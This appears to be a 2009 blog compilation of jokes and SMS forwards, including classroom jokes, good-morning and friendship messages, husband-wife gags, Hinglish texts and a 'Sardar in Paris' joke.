2) Teacher : "Which is more important to us, the sun or the moon?"
Pupil : "The moon".
Teacher : "Why?"
Pupil : "The moon gives us light at night when we need it but the sun gives us light only in the day time when we don't need it".

3) Teacher : "What do you call a person who keeps on talking when people are no longer interested?"
Pupil : "A teacher".

4) Waiter : "Would you like your coffee black?"
Customer : "What other colors do you have?"

5) My father is so old that when he was in school, history was called current affairs.

6) Teacher : "Sam, you talk a lot !"
Sam : "It's a family tradition".
Teacher : "What do you mean?"
Sam : "Sir, my grandpa was a street hawker, my father is a teacher".
Teacher : "What about your mother?" Sam : "She's a woman".

7) Tom : "How should I convey the news to my father that I've failed?"
David: "You just send a telegram: Result declared, past year's performance repeated".

8) Teacher : "Now, children, if I saw a man beating a donkey and stopped him, what virtue would I be showing?"
Student : "Brotherly love".

9) Teacher : "Now, Sam, tell me frankly do you say prayers before eating?"
Sam : "No sir, I don't have to, my mom is a good cook".

10) Patient : "What are the chances of my recovering doctor?"
Doctor : "One hundred percent. Medical reco rds show that nine out of ten people die of the disease you have. Yours is the tenth case I've treated. The others all died".

11) Teacher : " Can anybody give an example of COINCIDENCE? "
One Student : "Sir, my Mother and Father got married on the same day and at the same time."

12) Teacher : " George Washington not only chopped down his father's Cherry tree, but also admitted doing it.
Now do you know why his father didn't punish him ?"
One Student: " Because George still had the axe in is hand."

ENGLISH SMS..

2009-02-10T19:08:00.000-08:00

1)
Fresh air

Fresh ideas

Fresh talent

Fresh energy

I Wish
U to
Have a...

Marvellous
Monday,

Tasty
Tuesday,

Wonderful
Wednesday,

Thankful
Thursday,

Friendly
Friday,

Successful
Saturday,

&

Sweet Sunday

=Have a=
=Great=
=Week=
GOOD MORNING!!

2) Once-I knew u!

Often-I miss u!

Always-i'l care 4 u!

Never-Wil i 4get u!

B'coz i never want to mis sum1 as special as " U " ! Gd morning

3) What water can do gas cannot what copper can gold cannot.fragility of ants enable it 2 move.everything has been designed with a proportion of uniqueness to
serve a purpose.how can i b any1 else but me even if i have my share of weakness.why shud u try 2 b'cme some1 else even if his strengths appeals u.tru i must
try 2 shed my weaknes n u must try 2 devlp those strngth u aspire 4.lets try 2 imprve urslvs instd of copying othrs.we r here 2 b us.

4) The loveliest day comes when you wake up to find that Love still Colours your World through people who Truly care & never fail to remember you...Good
morning..

5) Wellwisher is not who meets U everyday and talk with U everyday. Wellwisher is one who may or maynot meet U but always think of U & Ur happiness..

6) A diamond is merely a lump of coal that did well under pressure. So imagine how brilliant a human being can be by sustaining pressures of life. Be hopeful..

7) Don't make ur feelings like the garden, Everybody walk on it. But let it be like the sky. Everybody wishes 2 touch it.....! GM

8)
'!'''''!'''' '!'''''!' ''''!'''' '!'''''!' '
1 2 3 4
no scale can measure our friendship coz one can see where it starts nobody cud see its end...

9) Sun cant come2 earth but send love as rays.Cloud cant come 2 river but send love as rain.I cant come 2 U but can send my care as msg to "U"

10) When love is unknown for you,you know what is HAPPINESS..when you know love,you know wat is PAIN,ven u loose luv,u know what is "LIFE"

"It takes a minute to have a crush an hour to like someone and a day to love someone but it takes a lifetime to forget someone" Be in touch..

cool jokes.....

2009-02-10T19:02:00.000-08:00

Wife: Honey: What are You Looking for in that paper ?
Husband : Nothing.
Wife : Nothing...?? U've been reading our marriage certificate 4 an
hour ??

Husband : I was just looking for the expiry date.
**********

Q - What is the difference between Mother & Wife?
A - One Woman Brings U into this world crying & the other ensures U
Continue to do so.

**********

Wife: You always carry my photo in your handbag to the office. Why?

Husband: When there is a problem, no matter how impossible, I look at
your
picture and the problem disappears.

Wife: You see, how miraculous and powerful am I for you?

Husband: Yes, I see your picture and say to myself, "What other problem
can
there be greater than this one?"

**********

Girl: When we get married, I want to share all your worries, troubles
and
lighten your burden.

Boy: It's very kind of you, darling, but I don't have any worries or
troubles.

Girl: Well that's because we aren't married yet.

**********

Son: Mom, when I was on the bus with Dad this morning, he told me to
give
up my seat to a lady.

Mom: Well, you have done the right thing.

Son: But mum, I was sitting on daddy's lap.

**********

A newly married man asked his wife, "Would you have married me if my
father

hadn't left me a fortune?"

"Honey," the woman replied sweetly, "I'd have married you NO MATTER WHO
LEFT
YOU A FORTUNE"
**********

Father to son after exam: "let me see your report card."

Son: "My friend just borrowed it. He wants to scare his parents."
**********

Interviewer to Millionaire: To whom do you owe your success as a
millionaire? "

Millionaire: "I owe everything to my wife."

Interviewer: "Wow, she must be some woman. What were you before you
married
her?"

Millionaire: "Billionaire"

**********

Girl to her boyfriend: One kiss and I'll be yours forever.

The guy replies: Thanks for the warning.

**********

A wife asked her husband: "What do you like most in me my pretty face
or
my sexy body?"

He looked at her from head to toe and replied: "I like your sense of
humour.

sms jokes-1

2009-02-10T18:58:00.000-08:00

This is not fair! How could u do this? Didn't expect this from you! Got a whole Channel on ur name and didn't even tell me? Animal Planet!

Phonebook Dilemma Why r there no phone books in China? Coz there r so many Wing's and Wong's, they r afraid u will Wing the Wong number.

If u read dis, I'm SMART. If u save dis, you agree dat I'm SMART. If u fwd dis, u r spreading dat I'm SMARt & if u delete dis, u r jealous coz I'm SMART

3 Guys were introduced to a girl. Hi, I'm Peter, not a saint. I'm Paul not a POPE. I'm John not a Baptist. The girl replied. Hi... I'm Mary, not a VIRGIN.

Consequences of American life style: The wife rushed into house screaming to her husband: Darling, Come quick! Ur kids n my kids r beating our kids.

Hubby: Darling, years ago u had a figure like Coke bottle. Wife: Yes darling I still do, only difference is earlier it was 300ml now it's 1.5 ltr.

Q:- what do u get when u cross a librarian and a lawyer? A:- "All the information you want, except you can't understand it."

Q:) Why do Gods stay up in heaven? A:) Because they are afraid of what they have created!

Funny Answering Machine Messages Please leave a message However, you have the right to remain silent. Everything you say will be recorded and will be used by us.

There re many things in ure life which will catch ure eye but only few will catch ure heart pursue those

FUNNY SMS..

2009-02-10T18:55:00.000-08:00

1) If a cat crosses u, wen u r going sumwhere it means
?

?

tat d cat is also going sumwhere....

2) Some Romantic Chocolates:

KIT KAT - Kiss In Time, Kiss At Touch.

DAIRY MILK - Darling Always I Remember You, Meet Immediatly for a Long Kiss.

PERK - Personal Emotional Romantic Kiss.

MUNCH - Most Unforgetbale Naughty Cool Hug.

3) PYAR karoge paresan rahoge,
SHADI karoge shansari banoge.DIVORCE doge devdas banoge,
hamse dosti karoge BIDNASH rahoge...!

4) Om namah SHIVAY!
Om sai RAM!
Wahe GURU!
Jai sri KRISHNA!

Dar mat!
Kisi ko forward nahi karna hai....

Khud hi jap le....

"P A A P I"

5) Santa:yar aeroplane itna bada hota hai to usse paint kaise karte hain?Banta:aeroplan e jab udte hue CHOTA sa dikhta hai to phata phat uspe paint kar dete
hain.

6) Waiter gives bill 2Sardar Sardar:Take this card.Waiter: But sir,this is Ration card.Sardar: So what?U hv written there- ALL CARDS ACCEPTED.

7) MASTERJI(Class me)-agar sache dil se bhagwan se prathna ki jai to wo puri hoti hai. LADKE-rahne do sir,agar aisa hota to aap Jinda na Hote ...........

8) Kabir ka DOHA..... MISS U MISS U sab kahe, par actualy miss kare na koi. Agar koi kisiko miss kare to fir SMS band qu hoe!!!

9) Ek nayi jodi shadi k baad ashirvad lene k liye politician k pas gayi politician bola;hum ashirvad nahi dete,hum to sirf udghatan karte hain

10) Kish kish ke mehfil mein,kish kish ne,kish kish ko"KISS"kiya. EK wo tha jo har "KISS"ko miss kiya.EK MEIN THA,jo har "MISS"ko "KISS"kiya.

Sardar in Paris

2009-02-09T23:39:00.000-08:00

A Sardar furniture dealer decided that he wanted to expand the line of
furniture in his store, so he decided to go to Paris to see what he could find.
After arriving in Paris (this being his first trip ever to the French capital),
he met with some manufacturers and finally selected a new range of furniture
that he thought would sell well back home in India .

To celebrate the new acquisition, he decided to visit a pub and have a glass of
wine.

As he sat down enjoying his wine, soon enough, a very beautiful attractive
young lady came to his table, asked him something in French (which he did not
understand), and motioned towards the chair.

He invited her to sit down. He tried to speak to her in Hindi, Punjabi &
English, but she did not speak or know any of these languages. So, after a
couple of minutes of trying to communicate with her, he took a napkin and drew
a picture of a wine glass and showed it to her. She nodded, and he ordered a
glass of wine for her.

After sitting together at the table for a while, he took another napkin, and
drew a picture of a plate with food on it, and she nodded.

They left the pub and found a quiet cafe that featured a small group playing
romantic music. They ordered dinner, after which he took another napkin and
drew a picture of a couple dancing. She nodded, and they got up to dance. They
danced until the cafe closed and the band was packing up.

Then, after they were back at their table, the young lady took a napkin and
drew a picture of a bed. Would you believe....

Till this day, the Sardar has no idea how she figured out that he was in the
furniture business!!!! !